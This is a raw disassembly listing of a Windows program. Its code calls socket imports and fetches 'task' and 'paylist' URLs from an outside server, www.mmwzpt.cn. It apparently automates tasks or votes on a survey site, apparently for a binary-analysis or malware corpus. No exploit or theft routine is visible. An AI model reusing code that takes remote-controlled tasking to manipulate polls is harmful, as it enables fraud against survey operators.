push 1
mov ebx, 6
call fcn.00402374
push reloc.WS2_32.dll_connect
push 0
push 0x52561b
push reloc.WS2_32.dll_connect
push 0
push 0x52561d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x408c85
mov eax, 0x524f4e
push eax
push 6
mov ebx, 0x435170
call fcn.00433ce5
add esp, 0x4c
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [0x5ffc98]
test ebx, ebx
je 0x408cb2
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [0x5ffc98], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525636
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5ffc98]
test eax, eax
jne 0x408ceb
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x408d1a
mov dword [0x5ffc94], 1
jmp 0x408d24
mov dword [0x5ffc94], 0
push 0x80000301
push 0
push dword [0x5ffca0]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d6
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x408d71
push ebx
call fcn.00433cf1
add esp, 4
push 0x80000301
push 0
push dword [0x5ffca4]
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d4
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x408dbe
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x408dd1
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x434b20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fld qword [ebp - 0x80]
ftst
fnstsw ax
test ah, 1
je 0x408df8
fchs
fcomp qword [0x52531c]
fnstsw ax
test ah, 0x41
jne 0x408e7a
push 0
mov ebx, 0x437350
call fcn.00433ce5
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x525643
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x437530
call fcn.00433ce5
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
push 0x525643
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x437530
call fcn.00433ce5
add esp, 0x1c
call fcn.00413d7f
mov eax, dword [0x5ffca0]
cmp dword [0x5ffca4], eax
jl 0x408f33
push 0xffffffffffffffff
push 0x12
push 0x160198d8
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jne 0x408ee2
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov eax, 5
mov ebx, 0x4a2270
call fcn.00433cf7
add esp, 0x1c
jmp 0x408f33
mov dword [0x5ffc64], 0
mov dword [ebp - 0x74], esp
push 0x1388
push 0
push 0x40
push 0x525208
push 0x525666
push 0
mov eax, 0x12
call fcn.00433cdf
cmp dword [ebp - 0x74], esp
je 0x408f29
push 6
call fcn.00433cd9
add esp, 4
push 0
call fcn.00433d03
add esp, 4
cmp dword [0x5ffc9c], 0
je 0x409cbe
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_zx.asp_Actionzxtasknamesojump533_dst
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0040b715
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x409013
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x409026
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x409039
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x40904c
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x40905f
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x409072
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x409082
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x409092
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4090a8
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4090d4
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4090eb
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525607
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525597
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40913e
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40914e
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x409164
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x434b20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x409196
push ebx
call fcn.00433cf1
add esp, 4
fld qword [ebp - 0x8c]
call fcn.00401460
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52539a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525607
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4091f3
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x409203
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40921a
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5ffc9c]
fstp qword [ebp - 0x80]
fsub qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401460
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jle 0x4096d7
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x5253a3
push dword [ebp - 0x74]
push 0x5253a3
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x409297
push ebx
call fcn.00433cf1
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4092bc
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x4092d0
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4092f6
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
jne 0x40934b
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525208
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x5256e9
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
push 0
call fcn.00433d03
add esp, 4
jmp 0x4096d2
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x525003]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x5253a3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x40938c
mov eax, 0x524f4e
push eax
push 3
mov ebx, 0x435360
call fcn.00433ce5
add esp, 0x28
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4093ca
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4093c6
imul eax, dword [ebx]
jmp 0x4093bb
mov ecx, eax
test ecx, ecx
je 0x4093e9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4093e2
push ebx
push eax
call fcn.00433cf1
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4093d0
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 1
mov eax, 0x524f4e
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x409412
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x525003]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00401460
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4094b9
mov ebx, dword [ebp - 0x44]
call fcn.00402395
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x409464
push 4
call fcn.00433cd9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x409477
push 1
call fcn.00433cd9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x5253a3
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push dword [ebp - 0x4c]
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4094b0
add esp, 0xc
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x5253a3
push dword [ebp - 0x74]
push 0x5253a3
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x409502
push ebx
call fcn.00433cf1
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x409527
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x40953b
jmp 0x409cbe
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_paylist.asp_votesojump533_dst
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0040b715
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4097aa
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4097bd
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4097d0
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4097e3
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4097f6
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x409809
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x409819
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x409829
push ebx
call fcn.00433cf1
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x40983f
mov eax, 0x524ff1
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x40986b
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x409882
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x409899
mov eax, 0x524f4e
push eax
push 1
mov ebx, 0x435d20
call fcn.00433ce5
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x5257fc
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, 0x5257ff
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.0040caaf
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x409904
push 0x52584d
push dword [ebp - 0x2c]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x409d38
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov dword [0x5ffc80], 1
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.00433d09
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d4
push 0x52010001
call fcn.00433d09
add esp, 0x18
push 0x525850
push dword [ebp - 0x2c]
call fcn.004021d4
add esp, 8
cmp eax, 0
jne 0x409db2
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov dword [0x5ffc80], 0
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.00433d09
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d5
push 0x52010001
call fcn.00433d09
add esp, 0x18
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525855
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409de3
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x409fa6
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x52585d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409e34
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x525003]
fstp qword [ebp - 0x84]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x52585f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409e90
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x52585d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409eda
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x525003]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401460
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401460
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409f5c
mov eax, 0x524f4e
push eax
push 3
mov ebx, 0x434670
call fcn.00433ce5
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x16010a35
push 0x52010001
call fcn.00433d09
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x409fa6
push ebx
call fcn.00433cf1
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525861
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409fd7
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40a50e
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52538a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525861
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040caaf
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40a046
push ebx
call fcn.00433cf1
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40a056
push ebx
call fcn.00433cf1
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x40a06d
push ebx
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
push dword [ebp - 0x54]
call fcn.004021d4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40a0b7
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x40a165
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x52586d
push dword [ebp - 0x74]
push 0x52588a
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40a107
push ebx
call fcn.00433cf1
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525208
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40a138
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40a15b
push ebx
call fcn.00433cf1
add esp, 4
push 0
call fcn.00433d03
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5253a3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x40a196
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40a50e
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5253a3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x40a1db
mov eax, 0x524f4e
push eax
push 3
mov ebx, 0x435360
call fcn.00433ce5
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40a213
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40a20f
imul eax, dword [ebx]
jmp 0x40a204
mov ecx, eax
test ecx, ecx
je 0x40a232
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40a22b
push ebx
push eax
call fcn.00433cf1
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40a219
call fcn.00433cf1
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], 1
mov ebx, dword [ebp - 0x58]
call fcn.0040237c
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40a50b
mov ebx, dword [ebp - 0x58]
call fcn.00402395
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x40a281
push 4
call fcn.00433cd9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a294
push 1
call fcn.00433cd9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x74]
push dword [ebx]
call fcn.004021d4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40a2e4
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x7c], 0
je 0x40a392
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x52586d
push dword [ebp - 0x74]
push 0x52588a
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40a334
push ebx
call fcn.00433cf1
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525208
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40a365
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40a388
push ebx
call fcn.00433cf1
add esp, 4
push 0
call fcn.00433d03
add esp, 4
mov ebx, dword [ebp - 0x58]
call fcn.00402395
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x40a3af
push 4
call fcn.00433cd9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a3c2
push 1
call fcn.00433cd9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00433cfd
add esp, 0x10
mov dword [ebp - 0x78], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x40a40a
mov eax, 0x524f4e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40a41e
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40a444
push ebx
call fcn.00433cf1
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x40a503
mov ebx, dword [ebp - 0x58]
call fcn.00402395
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x40a46b
push 4
call fcn.00433cd9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a47e
push 1
call fcn.00433cd9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x5258a4
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push 0x5258d6
mov ecx, 3
call fcn.0040106f
add esp, 0xc
mov dword [ebp - 0x78], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525208
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x40a4d6
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4371f0
call fcn.00433ce5
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40a4f9
push ebx
call fcn.00433cf1
add esp, 4
push 0
call fcn.00433d03
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x40a256
add esp, 0xc
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258ec
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a53f
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40a8b6
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5258f5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a590
mov eax, 0x524f4e
push eax
push 4
mov ebx, 0x4348d0
call fcn.00433ce5
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
